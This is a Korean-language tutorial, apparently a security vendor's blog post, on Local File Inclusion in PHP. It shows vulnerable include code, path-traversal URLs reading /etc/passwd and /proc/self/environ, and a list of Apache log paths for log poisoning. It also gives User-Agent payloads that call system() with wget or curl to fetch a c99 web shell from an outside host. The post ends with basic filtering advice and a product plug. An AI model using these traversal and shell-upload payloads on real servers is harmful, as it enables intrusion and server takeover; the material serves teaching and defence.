개요

LFI(Local File Inclusion) 취약점은 웹 브라우저를 통해 서버에 파일을 포함시키는 과정입니다.
이 취약점은 인클루드할 페이지 경로가 적절히 필터링되지 않았고 디렉토리 변경 명령어들의 삽입을 허용했을때 일어납니다.
대부분의 LFI 취약점은 URL을 통해 이뤄지는데 이는 보통 개발자가 GET Method 사용을 선호하기 때문입니다.

 

공격

아래 PHP 코드는 간단하고 전형적인 LFI의 예입니다.

◆ [PHP 코드]
<?php
$file = $_GET[‘file’];
if(isset($file)) {
include(“pages/$file”);
}
else
{
include(“index.php”);
}
?>

 

◆ [URL 공격]
[/proc/self/environ]
http://www.plura.io/index.php?pages=contaotus.php
이러한 URL은 이 페이지 밖에 있는 파일에 관심이 있는 잠재적 공격자에게로부터 꽤나 치명적이라고 할 수 있습니다.
이 페이지 밖의 패스워드 파일과 같은 파일을 읽기 위해서 공격자는 LFI를 이용할수 있습니다.

http://www.plura.io/index.php?pages=/etc/passwd
유닉스 시스템 계열에서는 보안에 큰영향을 미치는 여러 중요한 디렉토리들이 있는데 그 중에 하나가 서버의 모든 패스워드 해쉬를 담고 있는 /etc/passwd 입니다.
공격자는 위 URL처럼 /etc/passwd를 읽어 올수 있습니다.

http://www.plura.io/index.php?pages=../../../../etc/passwd
../를 여러번 붙여 주는 이유는 /etc/passwd 디렉토리의 상위디렉토리 존재 가능성 때문입니다.
위 URL처럼 시도하면 /etc/passwd를 읽어올수 있겠지만 조건에 따라 여전히 안 읽어질수도 있습니다.

http://www.plura.io/index.php?pages=../../../../etc/passwd%00
/etc/passwd 뒤에 %00은 널바이트로써 /etc/passwd 뒤에 붙는 쓸데없는 값들을 널바이트로 날려버립니다.

http://www.plura.io/index.php?pages=../../../../proc/self/environ%00
쉘을 올리기 위해 접근이 가능한지 확인해 볼것입니다.
위 공격이 성공했다면 DOCUMENT_ROOT= … (http header)결과값이 보일 것입니다.

쉘을 올리기 위한 마지막 단계로 프록시 툴을 사용하여 User Agent 필드에 PHP 코드를 삽입합니다.
User Agent 필드에 다음과 같이 쉘을 올려 주면 됩니다.
<?system(‘wget http://www.sh3ll.org/c99.txt -O shell.php’);?>
<?system(‘curl -o shell.php http://www.sh3ll.org/c99.txt’);?>

◆ [Log files]
공격자가 아파치 서버를 공격한다면 기본적으로 존재하는 access_log, error_log 파일을 통해 공격할 것입니다.

◆ [로그 경로]
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/opt/lampp/logs/access_log
/opt/lampp/logs/error_log
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/www/logs/thttpd_log
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/thttpd_log
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log
– – – – – – – – – – – – – – – – – – – – –
C:\apache\logs\access.log
C:\apache\logs\error.log
C:\Program Files\Apache Group\Apache\logs\access.log
C:\Program Files\Apache Group\Apache\logs\error.log
C:\program files\wamp\apache2\logs
C:\wamp\apache2\logs
C:\wamp\logs
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log

access_log에는 /proc/self/environ에서 봤던것과 비슷한 User-Agent 부분이 존재하기때문에 같은 방식대로 User-Agent를 변조해줘서 원하는 명령어를 실행시키거나 쉘을 올릴수 있습니다.

 

대응방안

◆ 입력 값 치환
../ 와 같은 문자가 전달됐을 경우 다른 문자로 치환해야 합니다.

◆ 문자필터링 PHP
str_replace(“.”,””, $path);
str_replace(“/”,””, $filename);

◆ 보안 중요 디렉토리 필터링
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default

◆ PLURA LFI 필터 사용
PLURA LFI 필터를 사용 등록하시면 LFI 공격이 발생할 때 해당 공격자의 IP를 신속히 차단하게 됩니다.
필터 등록은 아래의 순서로 진행하시면 됩니다.
www.plura.io > login > 실시간방어 > 방어관리 > 방어등록 > 웹로그방어 > 방어상태 > ON(활성화)